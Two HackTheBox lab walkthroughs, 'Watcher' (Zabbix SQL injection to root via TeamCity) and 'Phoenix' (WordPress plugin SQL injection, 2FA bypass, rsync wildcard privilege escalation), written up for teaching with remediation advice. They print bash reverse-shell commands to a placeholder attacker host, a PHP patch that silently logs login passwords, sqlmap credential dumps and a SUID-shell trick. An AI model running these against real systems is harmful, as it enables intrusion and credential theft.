DEV Community: Yogeshwar Peela

HackTheBox: Watcher Writeup

Yogeshwar Peela — Sat, 04 Jul 2026 13:55:25 +0000

Summary

Watcher is a Linux box built around a self-hosted Zabbix monitoring stack.
The front door isn't a permissions misconfig at all - it's a real Zabbix CVE
(CVE-2024-22120), a time-based blind SQL injection in the audit log's
clientip field. Even the read-only guest account can trigger it, because
all it takes is running one of Zabbix's built-in diagnostic scripts (Ping)
against a host you can already see. That injection lets you blind-extract
Zabbix's internal session-signing key and then the Admin's session ID,
purely through response timing - no credentials needed at all - and from
there the same bug chains straight into command execution as the zabbix
system user.

Once inside, rather than trying to crack a bcrypt hash pulled from the
database, this box teaches a "watch and wait" credential-harvesting trick:
patch Zabbix's own login page to log every future login attempt in plaintext,
then use the Audit Log to notice a service account (Frank) auto-logging in
once a minute. Wait one cycle, and Frank's real password lands in your
capture file.

Frank's password is reused on a TeamCity instance bound only to
localhost:8111, reachable through an SSH tunnel. TeamCity's build agent
"Open Terminal" feature runs as root on the host it's installed on —
logging in and opening that terminal is an instant root shell.

Key vulnerabilities:

CVE-2024-22120 — unauthenticated (guest-level) time-based blind SQLi in Zabbix's audit log clientip field → admin session theft → RCE as zabbix
World-writable/editable Zabbix frontend PHP → trivial to plant a credential-logging backdoor
Password reuse between Zabbix and TeamCity
TeamCity build agent terminal running as root → instant privesc

Recon

Standard nmap sweep:

nmap -A -Pn <TARGET_IP> -oA nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: "Did not follow redirect to http://watcher.vl/"

Just SSH and a web server externally. Port 80 redirects to watcher.vl, so
that's added to /etc/hosts.

Since there's clearly vhost routing going on, a quick subdomain fuzz turns up
a second site:

ffuf -u http://<TARGET_IP> -H "Host: FUZZ.watcher.vl" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

zabbix [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]

watcher.vl itself is just a static "uptime monitoring company" landing
page — nothing to exploit there. zabbix.watcher.vl is where the real target
lives: a Zabbix login portal.

Foothold: CVE-2024-22120 (Blind SQLi → Session Theft → RCE)

The login page has "sign in as guest" enabled, which drops you into a
read-only dashboard. The footer discloses the exact Zabbix version, so the
next step is checking that version against known CVEs. A few options turn
up:

CVE-2024-42327 — SQLi that leaks an API token, but only works for accounts that actually get an API token (guest doesn't)
CVE-2024-22116 — RCE, but requires an authenticated administrator
CVE-2024-22120 — a time-based blind SQL injection in the audit log. When Zabbix executes a script against a host, it logs the action to the Audit Log, and the clientip field in that log entry isn't sanitized. That's injectable — and critically, it's triggered just by running a script, something even guest can do.

Setting up the injection:

Under Monitoring → Hosts there's one host in scope for guest. Clicking it
pops a menu with a "Ping" option — no need to touch the host's
configuration at all, just click the host and select the script:

That single action (running Ping against the host) is what generates the
vulnerable audit log entry that the exploit abuses.

To actually pull data out via the blind SQLi, the exploit script needs three
things, all easy to grab from the browser session:

The guest session ID — pulled straight out of the zbx_session cookie (it's just base64):

  echo <cookie value> | base64 -d
  {"sessionid":"<guest_sessionid>", ...}

A valid scriptid guest is actually allowed to run (found by checking the script-menu response in the browser's dev tools/proxy — guest here only has access to script IDs 1 and 2)
The hostid of the visible host (grabbed from the constantly-firing refresh requests on the Hosts page)

Weaponizing it:

Rather than writing the SQLi by hand, I grabbed a public PoC for this exact
CVE:

git clone https://github.com/W01fh4cker/CVE-2024-22120-RCE

This script handles the whole chain in one shot — it sends crafted trapper
protocol packets to port 10051, times the responses to blind-extract Zabbix's
internal session-signing key and then the Admin's live session ID
character by character, and finally uses that recovered admin session to
authorize a script execution containing an arbitrary OS command. Running it
with the guest session ID and the hostid found earlier drops into a
pseudo-shell:

python3 CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid <guest_sessionid> --hostid <hostid>

[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)

It's slow (blind SQLi always is), but it lands code execution as zabbix
without ever needing a real password.

Getting a proper shell:

Feeding the tool a normal foreground reverse shell one-liner caused it to
just hang — the exploit script waits for the command to return before it'll
accept another one, and a reverse shell never returns. Backgrounding it with
a trailing & fixed that, letting the payload fire off and the listener
catch the connection:

[zabbix_cmd]>>: bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1' &

nc -lnvp 443
zabbix@watcher:/$

Shell as zabbix, no valid credentials used anywhere in the process.

Post-Exploitation & Credential Harvesting

Finding zabbix-owned paths & other users:

find / -type d -user zabbix 2>/dev/null | grep -Ev '^/proc'

Confirms write access to the frontend PHP tree (important later). Only one
real login user exists on the box besides zabbix.

Pulling DB creds from the Zabbix config and dumping the DB:

Rather than guessing the path, a quick search for Zabbix's config files
turns up the frontend's DB connection file directly:

find / -name "zabbix.conf.php" 2>/dev/null
/usr/share/zabbix/conf/zabbix.conf.php

cat /usr/share/zabbix/conf/zabbix.conf.php
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = '<ZABBIX_DB_PASSWORD>';

mysql -h localhost -u zabbix -p<ZABBIX_DB_PASSWORD>
mysql> use zabbix;
mysql> select * from users;
+--------+----------+-------------------------------+--------+
| userid | username | passwd (bcrypt)               | roleid |
+--------+----------+-------------------------------+--------+
|      1 | Admin    | $2y$10$E9fS...                |      3 |
|      2 | guest    | $2y$10$89ot...                |      4 |
|      3 | Frank    | $2y$10$9WT5...                |      2 |
+--------+----------+-------------------------------+--------+

The hashes are bcrypt and don't crack against rockyou — not worth burning
time on.

Discovering TeamCity:

ss -tulnp
LISTEN  0.0.0.0:10050    (zabbix_agentd)
LISTEN  0.0.0.0:10051    (zabbix trapper)
LISTEN  127.0.0.1:8111
LISTEN  127.0.0.1:3306   (MySQL)

This is also where 10050/10051 actually show up — from the outside they
weren't exposed, but locally the agent/trapper services are bound wide open.
Port 8111 stands out as unfamiliar, so a quick curl confirms what's behind
it:

curl -v localhost:8111
< HTTP/1.1 401
< WWW-Authenticate: Basic realm="TeamCity"
< WWW-Authenticate: Bearer realm="TeamCity"
Authentication required
To login manually go to "/login.html" page

TeamCity, bound to localhost only. A quick check of running processes
confirms it (and its build agent) run as root. To actually browse it
from my own box, I generated a keypair and dropped the public half into
zabbix's authorized_keys (the account's shell is /nologin, so no
interactive login, but port forwarding still works fine):

mkdir /var/lib/zabbix/.ssh
echo "ssh-ed25519 AAAA...<snipped>... nobody@nothing" > /var/lib/zabbix/.ssh/authorized_keys
chmod 700 /var/lib/zabbix/.ssh
chmod 600 /var/lib/zabbix/.ssh/authorized_keys

ssh -i <private_key> zabbix@watcher.vl -N -L 8111:localhost:8111

Now http://localhost:8111 loads the TeamCity login page from the attacker
box — but there are no valid creds for it yet.

Getting Admin access back in Zabbix:

Since the bcrypt hashes won't crack, the simplest path back to Zabbix as
Admin is just resetting the password directly through the DB access
already in hand, following Zabbix's own documented password-reset procedure
(Zabbix Docs: Password reset):

mysql> UPDATE users SET passwd = '<bcrypt_hash_for_known_password>' WHERE username = 'Admin';

Logging in as Admin with that known password now works.

Backdooring the login page:

With Admin access, the Audit Log is worth checking. Filtering on user
Frank shows Frank authenticating from 127.0.0.1 once a minute, on the
dot — clearly an automated health-check/keepalive script, not a human.

Since zabbix owns the frontend files, index.php's login handler can be
patched in place to log every submitted username/password pair before
continuing the normal login flow:

if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
    $user = $_POST['name'] ?? '??';
    $password = $_POST['password'] ?? '??';
    $f = fopen('/tmp/evil.txt', 'a+');
    fputs($f, "{$user}:{$password}\n");
    fclose($f);

This is invisible to anyone logging in — the login still succeeds normally,
it's just also logged in cleartext on disk.

Catching Frank's login:

Since Frank's automated login was going to hit the patched page on its next
cycle, all that's left is to wait ~60 seconds:

cat /tmp/evil.txt
Frank:R%)3S7^Hf4TBobb(gVVs

Frank's real password, in plaintext, zero cracking required.

Privilege Escalation: TeamCity Build Agent → root

Back at the tunneled TeamCity login page, Frank's freshly-harvested Zabbix
password is reused successfully:

http://localhost:8111/login.html
Username: Frank
Password: R%)3S7^Hf4TBobb(gVVs

Password reuse strikes again, and Frank turns out to have full admin rights
in TeamCity.

From here: Agents → Default Agent → Open Terminal. TeamCity's build
agent process runs as root on the host, and its built-in web terminal
gives an interactive shell running as that process — no exploitation
needed, just clicking a button:

root
# pwd
/root/TeamCity/buildAgent/bin
# cd /root
# ls
TeamCity  root.txt  scripts  snap
# cat root.txt
<REDACTED>

Box owned.

Attack Chain

Nmap scan (22/tcp SSH, 80/tcp HTTP)
  └─ vhost fuzzing (ffuf) → zabbix.watcher.vl discovered
       └─ Zabbix guest login enabled → version fingerprinted
            └─ CVE-2024-22120: click host → run "Ping" script → triggers vulnerable audit-log entry
                 └─ Time-based blind SQLi on `clientip` → leak session-signing key → leak Admin's live session ID
                      └─ Reuse same bug to authorize arbitrary script execution → RCE as `zabbix`
                           ├─ find conf files → zabbix.conf.php → MySQL creds → dump `users` table (bcrypt, uncracked)
                           ├─ ss -tulnp → 10050/10051 (local agent/trapper) + root-owned TeamCity on 127.0.0.1:8111 → curl confirms TeamCity
                           ├─ Drop SSH key into zabbix's authorized_keys → tunnel 8111 for browser access
                           ├─ Reset Admin's password directly via MySQL UPDATE
                           └─ Backdoor index.php login handler → log creds to /tmp/evil.txt
                                └─ Audit Log shows Frank auto-logging in every 60s
                                     └─ Capture Frank's plaintext password
                                          └─ Log into TeamCity as Frank (password reuse, admin rights)
                                               └─ Agents → Default Agent → Open Terminal (runs as root)
                                                    └─ root shell → cat /root/root.txt

Remediation

Patch Zabbix to a version fixed for CVE-2024-22120, CVE-2024-42327, and CVE-2024-22116 — all of these stem from missing input sanitization in server-side SQL, and all are fixed upstream.
Disable the guest account if it isn't strictly needed; even "read-only" access here was enough to trigger a script execution and kick off the injection chain.
Lock down file permissions on the Zabbix frontend so the web-server user can't rewrite its own PHP source (prevents backdooring index.php).
Never reuse passwords across services (Zabbix ↔ TeamCity here) — a compromise of one becomes a compromise of both.
Restrict TeamCity's build agent terminal feature, or at minimum don't run the agent process as root - an agent compromise shouldn't equal a full root shell.
Rotate credentials used by automated/service accounts (like Frank's here) regularly, and never log plaintext credentials anywhere, even transiently.

HackTheBox: Phoenix Writeup

Yogeshwar Peela — Sat, 04 Jul 2026 11:39:29 +0000

Summary

Phoenix is a WordPress box with a long, winding path to root. The short version: an unauthenticated SQL injection in a forum plugin leaks the whole WordPress database, which gives admin credentials and everything needed to defeat the site's two-factor authentication without ever touching a phone or app. From there, a second vulnerable plugin gives code execution and a low-privilege shell. A misconfigured SSH setup (2FA plus an IP allowlist) turns out to have a loophole via a second network interface on the box, which leads to a proper user account. Root comes from reverse engineering a compiled backup script and abusing an old but classic rsync wildcard injection trick to drop a SUID root shell.

Recon

Started with a full port scan:

nmap -A -p- 10.129.x.x -oA nmap

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
443/tcp open  ssl/http Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd.
| http-robots.txt: 1 disallowed entry
|_/wp-admin/

The HTTPS cert and robots.txt both pointed at a hostname, so added it to /etc/hosts:

echo '10.129.x.x phoenix.htb' >> /etc/hosts

robots.txt disallowed /wp-admin/ and pointed at a WordPress sitemap — confirming this is a WordPress site.

Web Enumeration

The site itself is a "Coming Soon" landing page for a fake cybersecurity company (Phoenix Security), with a sign-up/login flow, a blog, and a forum.

Poking at the WordPress sitemap (wp-sitemap-users-1.xml) leaked two usernames via author archive pages — a classic WordPress info-leak:

jsmith
phoenix

WPScan Enumeration

wpscan --url https://phoenix.htb --disable-tls-checks --api-token <token> -e vt,vp,u

Trimmed output (WPScan's full CVE listing per plugin runs to hundreds of lines — keeping the parts that mattered):

[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
 | [!] 37 vulnerabilities identified:
 ...

[+] WordPress theme in use: coming-soon-event
 | Version: 1.0.8 (80% confidence)

[i] Plugin(s) Identified:

[+] accordion-slider-gallery
 | [!] 1 vulnerability identified: Missing Authorization (CVE-2025-62130)

[+] asgaros-forum
 | [!] The version is out of date, the latest version is 3.4.0
 | [!] 12 vulnerabilities identified:
 | [!] Title: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
 |     Fixed in: 1.15.13
 |     References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24827
 | Version: 1.15.12 (10% confidence)

[+] photo-gallery-builder
 | [!] 1 vulnerability identified: Missing Authorization (CVE-2024-49325)

[+] pie-register
 | [!] 22 vulnerabilities identified (multiple CVEs spanning 2013-2026)

[+] timeline-event-history
 | [!] 4 vulnerabilities identified (Object Injection, Stored/Reflected XSS)

[i] User(s) Identified:
[+] John Smith  | Found By: Rss Generator (Passive Detection)
[+] phoenix     | Confirmed By: Author Sitemap
[+] jsmith      | Confirmed By: Author Sitemap

Dead End: Pie Register RCE Attempt

pie-register had a public exploit for an unauthenticated auth-bypass-to-RCE (CVE-2025-34077) that forges a session via the plugin's social-login flow, then uploads a malicious "plugin" ZIP containing a webshell.

Executed the public PoC - it failed with a Python syntax error in the script itself. Manually replayed the HTTP request the exploit makes; no session cookie was ever set, meaning this particular install doesn't behave the way the CVE expects.

The actual reason turned out to be a version mismatch, not just a broken PoC. WPScan couldn't pin an exact Pie Register version and left it as "could not be determined," but checking the page source directly showed the real version in the asset query strings:

<link rel='stylesheet' id='pie_dialog_css-css' href='.../pie-register/assets/css/dialog.css?ver=3.7.2.6' />

So the installed version is 3.7.2.6. CVE-2025-34077's public exploit targets Pie Register <= 3.7.1.4 - a version range this install is already past. The vulnerable code path simply isn't present here. Genuine dead end - dropped it and moved to the next lead rather than sinking more time into it.

Foothold #1: Unauthenticated SQL Injection (Asgaros Forum)

The asgaros-forum version installed matched a known unauthenticated SQL injection: CVE-2021-24827.

Confirmed manually with a time-based payload against the forum's subscribe_topic parameter:

time curl -k 'https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)' > /dev/null
# real 11.24s  <- response time matches the injected sleep()

Automated with sqlmap:

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=T --time-sec=3 --dbs

[23:17:38] [INFO] GET parameter 'subscribe_topic' appears to be
'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: subscribe_topic (GET)
    Type: time-based blind
    Payload: subscribe_topic=1 AND (SELECT 2509 FROM (SELECT(SLEEP(3)))ijUT)
---
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] information_schema
[*] wordpress

Dumping WordPress credentials

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=T --time-sec=2 \
  -D wordpress -T wp_users -C user_login,user_pass,user_email --dump

Database: wordpress
Table: wp_users
[6 entries]
+------------+-----------------------------------------------+------------------------+
| user_login | user_pass                                     | user_email             |
+------------+-----------------------------------------------+------------------------+
| john       | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz.            | john@domain.htb        |
| Phoenix    | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.            | phoenix@phoenix.htb    |
| Jane       | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91            | jane@phoenix.htb       |
| test       | $P$BRvG7ym.p0pttnKH4t5SOdnbIFiMRI0 (testtest) | a@a.com                |
| Jsmith     | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G.            | john.smith@phoenix.htb |
| Jack       | $P$BzalVhBkVN.6ii8y/nbv3CTLbC0E9e.            | jack@phoenix.htb       |
+------------+-----------------------------------------------+------------------------+

Note this kind of time-based blind extraction is slow - dumping this table took roughly 2 hours real time, since every character requires its own HTTP request plus a sleep().

Cracking the hashes

sqlmap automatically saved the raw dump as CSV:

[INFO] table 'wordpress.wp_users' dumped to CSV file
'/root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv'

Pulled just the username:hash pairs out of that CSV into a file John can read directly:

awk -F',' 'NR>1 {print $1":"$2}' \
  /root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv > wp_hashes.txt

Then ran John against rockyou.txt:

john wp_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cracked 1 password hash (is in /opt/john-bleeding/run/john.pot), use "--show"
phoenixthefirebird14 (Phoenix)
1g 0:00:07:29 ... 4341p/s

[... ran again later, letting it continue against remaining hashes ...]
Cracked 3 password hashes (are in /opt/john-bleeding/run/john.pot), use "--show"
superphoenix     (Jsmit)
password@1234    (john)

Cracked 3 of the 6 total:

user_login	password	notes
Phoenix	`phoenixthefirebird14`	the admin account
Jsmith	`superphoenix`	maps to the `editor` Linux user
john	`password@1234`	not used further

(A test account also appeared in the dump - that one was self-created earlier while exploring the registration form, not a recovered credential.)

2FA Bypass: Decrypting the Admin's TOTP Secret

Logging in as Phoenix / phoenixthefirebird14 worked, but hit a Validate OTP prompt from the miniorange-2-factor-authentication plugin - a standard TOTP (Time-based One-Time Password) challenge tied to an authenticator app. Guessing or brute-forcing this isn't realistic (codes rotate every 30 seconds and there's only 3 attempts).

Confirming where the TOTP secret lives

Rather than attack the OTP prompt itself, went looking for where the plugin actually stores its 2FA state. Pulled the plugin's local PHP source (the Miniorange_Mobile_Login class) to see how it handles login/verification - this confirmed the general meta-key naming convention the plugin uses (mo_2factor_mobile_registration_status, mo_2factor_map_id_with_email, etc.), all stored per-user in standard WordPress user meta rather than anything external.

This was reinforced by the plugin's own uninstall.php cleanup routine, which lists out essentially every option and user-meta key it ever creates:

<?php
    //delete all stored key-value pairs which are available to all users
        delete_option('mo2f_email');
        delete_option('mo2f_host_name');
        delete_option('mo2f_customerKey');
        delete_option('mo2f_api_key');
        delete_option('mo2f_customer_token');
        ...
        //delete user specific key-value pair
        $users = get_users( array() );
        foreach ( $users as $user ) {
            delete_user_meta($user->ID,'mo_2factor_user_registration_status');
            delete_user_meta($user->ID,'mo_2factor_mobile_registration_status');
            delete_user_meta($user->ID,'mo_2factor_user_registration_with_miniorange');
            delete_user_meta($user->ID,'mo_2factor_map_id_with_email');
        }
?>

This confirms the pattern (mo2f_* for global options, mo_2factor_* / mo2f_* for per-user meta) but doesn't list the specific keys for the soft token / Google Authenticator feature specifically, since that's a separate module not shown in the files reviewed so far. Cross-referenced this naming convention against the plugin's public source mirror (https://github.com/wp-plugins/miniorange-2-factor-authentication/tree/master) to find that module, which pinned down the exact meta keys used for the Google Authenticator secret and its associated encryption key: mo2f_gauth_key and mo2f_get_auth_rnd_string. Confirming these exact names mattered because sqlmap needs a precise meta_key value to filter on with --where.

This also explains the whole approach: since the plugin stores the TOTP seed encrypted, but locally, in the same database already compromised by the SQLi, database access is equivalent to defeating the 2FA entirely - no need to touch the actual OTP-verification flow at all.

Pulling the encrypted secret and its key

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=BEUT --dbms=mysql --time-sec=2 -o \
  -D wordpress -T wp_usermeta -C meta_value \
  --where "user_id=1 and meta_key='mo2f_gauth_key'" --dump

Database: wordpress
Table: wp_usermeta
[1 entry]
+--------------------------------------------------------------------------------------------------------------+
| meta_value                                                                                                   |
+--------------------------------------------------------------------------------------------------------------+
| qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA= |
+--------------------------------------------------------------------------------------------------------------+

Same approach, second key, to get the value needed to decrypt it:

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=BEUT --dbms=mysql \
  --threads=10 --time-sec=2 -o \
  -D wordpress -T wp_usermeta -C meta_value \
  --where "user_id=1 and meta_key='mo2f_get_auth_rnd_string'" --dump

Database: wordpress
Table: wp_usermeta
[1 entry]
+------------+
| meta_value |
+------------+
| kHHxxX3f   |
+------------+

Decrypting it

The first blob is base64-encoded and looked like an IV + HMAC + AES-CBC ciphertext layout (a pattern common to a lot of WordPress plugins' custom crypto). Wrote a small Python script to decrypt it using the second value as the key:

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_data(data_b64: str, key: str) -> bytes:
    c = base64.b64decode(data_b64)
    ivlen = 16
    iv = c[:ivlen]
    ciphertext_raw = c[ivlen+32:]  # skip past IV and the 32-byte HMAC

    key_bytes = (key.encode() + b'\x00' * 16)[:16]  # pad/truncate to 16 bytes

    cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext_raw)

    try:
        plaintext = unpad(plaintext, AES.block_size)
    except ValueError:
        pass

    return plaintext

print(decrypt_data(
    "qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=",
    "kHHxxX3f"
))

b'PDEEWIVJSIDWS6WO'

That decoded cleanly to a Base32 string — a genuine TOTP secret: PDEEWIVJSIDWS6WO.

Fed that into oathtool to generate a live code:

oathtool -b --totp PDEEWIVJSIDWS6WO
# 923770

Used the generated code alongside the admin credentials and got straight into /wp-admin/ as Phoenix (Administrator).

Foothold #2: RCE via "Download From Files" Plugin

Browsing the plugins list in wp-admin (direct plugin upload was disabled, so no easy ZIP-based shell) turned up one plugin not seen in the earlier WPScan run: Download From Files v1.48.

Found a matching public exploit:

searchsploit download from files
searchsploit -m php/webapps/50287.py

Download From Files <= 1.48 - Arbitrary File Upload abuses an unauthenticated AJAX action to drop an arbitrary file (including a webshell) directly into wp-admin/.

The stock script failed with a TLS error against the self-signed cert, since it never disables certificate verification. Two small changes fixed it:

In vuln_check(), changed:

   response = requests.get(uri)

to:

   response = requests.get(uri, verify=False)

In main(), changed the upload request:

   response = requests.post(uri, files=files, data=data)

to:

   response = requests.post(uri, files=files, data=data, verify=False)

python3 50287.py https://phoenix.htb evil.phtml
# Shell Uploaded!
# https://phoenix.htb/wp-admin/evil.phtml

Confirmed code execution and popped a reverse shell:

curl -k 'https://phoenix.htb/wp-admin/evil.phtml?cmd=id'
# uid=1001(wp_user) ...

curl -k https://phoenix.htb/wp-admin/evil.phtml \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

Landed as wp_user.

Local Enumeration

Checked /etc/passwd for real login accounts:

root:x:0:0:root:/root:/bin/bash
phoenix:x:1000:1000:Phoenix:/home/phoenix:/bin/bash
editor:x:1002:1002:John Smith,...:/home/editor:/bin/bash

Confirms editor = John Smith = jsmith from the earlier DB dump.

Went back and let John keep cracking the remaining hashes in the background - cracked 2 more (superphoenix for Jsmith, password@1234 for john), giving a usable login: editor / superphoenix.

SSH: Blocked by 2FA and an IP Allowlist

Tried SSH directly:

ssh editor@phoenix.htb

The password was accepted but a Verification code prompt appeared too. This was the second sign (after su phoenix behaving the same way earlier) that 2FA on this box isn't just a WordPress thing - it's enforced at the OS login level as well, for both su and sshd. On Linux, PAM (Pluggable Authentication Modules) is what chains together auth steps like this for system services, so that's where to look next.

Compared the box's /etc/pam.d/sshd against a clean Ubuntu copy to spot the customizations:

diff sshd /etc/pam.d/sshd

Two extra lines stood out:

auth [success=1 default=ignore] pam_access.so accessfile=/etc/security/access-local.conf
auth required pam_google_authenticator.so nullok user=root secret=/var/lib/twofactor/${USER}

So SSH here checks an IP allowlist first, and only falls back to Google Authenticator if that check doesn't already grant success. The allowlist:

+ : ALL : 10.11.12.13/24
- : ALL : ALL

Only logins originating from that specific subnet skip the TOTP prompt entirely.

Checked the box's own network interfaces:

ifconfig

Turns out the box is dual-homed - besides its normal HTB-facing NIC, it also has a second interface sitting right on 10.11.12.13, exactly the allowed range.

SSH'd to that second IP instead of the usual one:

ssh editor@10.11.12.13

This time, only a password prompt - no TOTP challenge. Logged in clean with editor / superphoenix.

User flag: [REDACTED]

Privilege Escalation: Reverse Engineering a Compiled Cron Job

Enumerating the box (linpeas + manual poking) turned up some flagged items:

════════════════════════════╣ Other Interesting Files ╠════════════════════════════
╔══════════╣ .sh files in path
/usr/local/bin/cron.sh.x
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh
╔══════════╣ Executable files potentially added by user (limit 70)
2022-02-16+22:27:39.0806206800 /usr/local/bin/cron.sh.x
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_terminal.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_keyboard.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_font.sh
╔══════════╣ Unexpected in root
/backups
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/backups/phoenix.htb.2026-07-04-06-06.tar.gz
/var/log/journal/16f09a9db470435faa12a4d5167ba486/system.journal
/var/log/auth.log
/var/log/syslog

Two things stood out immediately:

/backups - flagged by linpeas as "unexpected in root," and one of its files had just been modified in the last 5 minutes: a strong sign of an active, recurring cron job
/usr/local/bin/cron.sh.x - an executable, owned by root, sitting outside the usual system paths, last modified back in Feb 2022 (i.e. baked into the box at build time, not something transient)

What is a `.sh.x` file?

.sh.x is the typical output of SHC (Shell Script Compiler) - a tool that wraps a plain shell script into a compiled binary to hide the source and make it harder to tamper with. Confirmed this by checking the strings inside:

strings /usr/local/bin/cron.sh.x

which showed generic libc symbols and a runtime error string typical of SHC-wrapped binaries (E: neither argv[0] nor $_ works.), rather than anything script-specific.

Watching it run live

Rather than trying to statically decompile the binary, used pspy (a tool that watches running processes without needing root) to catch the script's actual behavior when the cron job fires:

wget http://ATTACKER_IP/pspy64
chmod +x pspy64
./pspy64

Caught the job executing live:

2026/07/04 06:35:34 CMD: UID=1002  PID=35505  | date +%Y-%m-%d-%H-%M
2026/07/04 06:35:34 CMD: UID=1002  PID=35506  | mysqldump -u root wordpress
mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
2026/07/04 06:35:34 CMD: UID=1002  PID=35507  | tar -cf phoenix.htb.2026-07-04-06-35.tar dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002  PID=35508  | rm dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002  PID=35509  | gzip -9 phoenix.htb.2026-07-04-06-35.tar
2026/07/04 06:35:34 CMD: UID=1002  PID=35510  | find . -type f -mmin +30 -delete
2026/07/04 06:35:34 CMD: UID=1002  PID=35511  | rsync --ignore-existing -t phoenix.htb.2026-07-04-06-06.tar.gz
  phoenix.htb.2026-07-04-06-09.tar.gz [...] jit@10.11.12.14:/backups/

(Note: mysqldump -u root fails with an access-denied error, but the script doesn't check for that and keeps going anyway — a small bug, but not the one that matters here.)

Reconstructed the script's logic from this:

#!/bin/sh
NOW=$(date +"%Y-%m-%d-%H-%M")
FILE="phoenix.htb.$NOW.tar"
cd /backups
mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE
find . -type f -mmin +30 -delete
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/

This runs as root (confirmed since it can access /backups files owned by root and attempts mysqldump -u root), and the editor user has write access to /backups.

The bug: rsync wildcard injection

The last line is the interesting part:

rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/

The *.* is a shell glob expanded by the script before rsync ever sees it. If a file in that directory has a name that looks like an rsync command-line flag, the shell will happily pass it to rsync as one - a classic wildcard injection vulnerability. rsync supports a -e flag to specify an arbitrary "remote shell" command to run, which is exactly the lever needed here.

Exploiting it

Since editor can write to /backups, dropped a small script there:

cat << 'EOF' > shell.sh
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x shell.sh

Then created a file whose name is itself a malicious rsync flag:

touch -- '-e sh shell.sh'

When the cron job's *.* glob expands, this filename gets passed to rsync as -e sh shell.sh - telling rsync to use sh shell.sh as its "remote shell" command, which just runs the script locally as whatever user triggered rsync (root, since the cron job runs as root).

Waited for the next cron run:

watch -n 5 ls -la /tmp/rootbash

A few minutes later:

-rwsr-sr-x 1 root root 1183448 Jul  4 06:48 /tmp/rootbash

A SUID copy of bash, owned by root. Ran it:

/tmp/rootbash -p
whoami   # root
id       # uid=1002(editor) gid=1002(editor) euid=0(root) egid=0(root) groups=0(root),1002(editor)

Root.

cat /root/root.txt

Root flag: [REDACTED]

Key Vulnerabilities & Attack Chain

WordPress username disclosure via the default XML sitemap (wp-sitemap-users-1.xml) - leaked valid usernames for later targeting.
Unauthenticated SQL injection in the Asgaros Forum plugin (CVE-2021-24827) - the single most important vulnerability on the box. Everything downstream (credentials, TOTP bypass) traces back to this.
Weak/reused passwords, crackable with a standard wordlist (rockyou.txt) against the dumped WordPress password hashes.
2FA implemented at the application layer with secrets stored server-side and readable via SQLi - once the database is compromised, TOTP protection built this way adds no real security, since the seed itself can just be read and used to generate valid codes.
Unauthenticated arbitrary file upload in the Download From Files plugin (v1.48) - straightforward path from admin panel access to full RCE.
SSH 2FA bypass via a misconfigured IP allowlist - the pam_access rule was meant to be a convenience for trusted networks, but it fully skips the TOTP requirement rather than just skipping additional friction, and the box exposes a second interface sitting in that trusted range.
